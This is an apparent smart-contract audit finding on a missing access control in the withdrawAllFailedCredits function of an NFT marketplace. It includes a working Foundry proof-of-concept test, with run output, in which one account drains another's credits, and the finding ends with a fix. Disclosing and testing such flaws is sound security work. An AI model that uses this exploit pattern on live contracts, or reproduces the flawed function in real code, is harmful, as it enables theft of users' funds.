Lack of access control in withdrawAllFailedCredits allows anyone to drain users’ credits, risking significant contract funds

Description

• The contract implements a pull mechanism to handle failed Ether transfers by crediting the amount to the user's account, which they can later withdraw using the BidBeastsNFTMarketPlace::withdrawAllFailedCredits function.

  
  

• The intention was good, but the implementation was flawed a bit, leading to a devastating vulnerability. The withdrawAllFailedCredits function lacks any access control, meaning anyone can call this function to withdraw the failed transfer credits of any user. All one has to do is provide the target user's address as the _receiver parameter.

  @> function withdrawAllFailedCredits(address _receiver) external {

  @> uint256 amount = failedTransferCredits[_receiver]; // @audit calculates the amount based on _receiver, not msg.sender

  require(amount > 0, "No credits to withdraw");

  @> failedTransferCredits[msg.sender] = 0; // @audit sets msg.sender's credits to 0, not _receiver's

  @> (bool success, ) = payable(msg.sender).call{value: amount}(""); // @audit sends the amount to msg.sender, not _receiver

  require(success, "Withdraw failed");

  }
  
  

• The surprising part is, it doesn't just drain the credits of the _receiver, but also allows withdrawing again and again if the contract has enough balance. This is because the function sets the failedTransferCredits value of msg.sender to 0, not _receiver.

Risk

Likelihood: High

• Any caller can exploit this by targeting any address with a non-zero failedTransferCredits

Impact: High

• Financial Loss: Unauthorised withdrawal of users’ failed transfer credits.

• Contract Balance Drain: Repeated withdrawals can deplete the contract’s balance, affecting all users.

Proof of Concept

• First, take a look at the already implemented RejectEther contract in the test file at line 9. This contract is used to simulate a user who rejects incoming Ether transfers, causing the transfer to fail and credits to be recorded. We will be using it in our PoC.

  // A mock contract that cannot receive Ether, to test the payout failure logic.

  contract RejectEther {

  // Intentionally has no payable receive or fallback

  }

  ​

  ...

  ​

  RejectEther rejector; // Initialized as rejector = new RejectEther(); in setUp()
  
  

• Next, add the following test test_UnauthorizedCreditWithdrawal in the test file:

  function test_UnauthorizedCreditWithdrawal() public {

  // Mint and list NFT

  _mintNFT();

  _listNFT();

  ​

  // funding some eth to rejector contract

  vm.deal(address(rejector), 10 ether);

  ​

  // Placing an initial bid through the rejector contract, which can't receive the ether

  vm.prank(address(rejector));

  market.placeBid{value: BID_AMOUNT}(TOKEN_ID);

  console.log("Rejector places a bid of:", BID_AMOUNT);

  ​

  // BIDDER_1 immediately buys the NFT at the buy now price, causing payout of rejector to fall in `failedTransferCredits`

  vm.prank(BIDDER_1);

  market.placeBid{value: BUY_NOW_PRICE}(TOKEN_ID);

  console.log("BIDDER_1 buys the NFT at buy now price:", BUY_NOW_PRICE, "leading to payout failure for rejector");

  console.log();

  ​

  uint256 failedAmount = market.failedTransferCredits(address(rejector));

  console.log("Rejector's failed transfer credits:", failedAmount);

  ​

  uint256 contractBalanceBefore = address(market).balance;

  uint256 bidder2BalanceBefore = address(BIDDER_2).balance;

  console.log();

  console.log("Contract balance before:", contractBalanceBefore);

  console.log("BIDDER_2 balance before:", bidder2BalanceBefore);

  ​

  // BIDDER_2 maliciously withdraws rejector’s credits

  vm.prank(BIDDER_2);

  market.withdrawAllFailedCredits(address(rejector));

  console.log();

  console.log("BIDDER_2 maliciously withdraws rejector's credits...");

  ​

  console.log();

  console.log("BIDDER_2 balance after:", address(BIDDER_2).balance);

  console.log("Contract balance after:", address(market).balance);

  assertEq(

  market.failedTransferCredits(address(rejector)),

  failedAmount,

  "Rejector's credits should remain unchanged"

  );

  ​

  // Gives the opportunity to withdraw again and again if the contract has enough balance and `failedTransferCredits` of some address is non-zero

  }
  
  

• Run the above test using the command:

  forge test --mt test_UnauthorizedCreditWithdrawal -vv
  
  

• The output we get:

  Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest

  [PASS] test_UnauthorizedCreditWithdrawal() (gas: 363480)

  Logs:

  Rejector places a bid of: 1200000000000000000

  BIDDER_1 buys the NFT at buy now price: 5000000000000000000 leading to payout failure for rejector

  ​

  Rejector's failed transfer credits: 1200000000000000000

  ​

  Contract balance before: 1450000000000000000

  BIDDER_2 balance before: 100000000000000000000

  ​

  BIDDER_2 maliciously withdraws rejector's credits...

  ​

  BIDDER_2 balance after: 101200000000000000000

  Contract balance after: 250000000000000000

  ​

  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.02ms (264.85µs CPU time)

Recommended Mitigation

The withdrawAllFailedCredits function should be restricted so that only the owner of the credits (i.e., msg.sender) can withdraw their own credits. This can be done by removing the _receiver parameter and using msg.sender directly. Optionally, add an event (e.g., CreditsWithdrawn(address, uint256)) for transparency.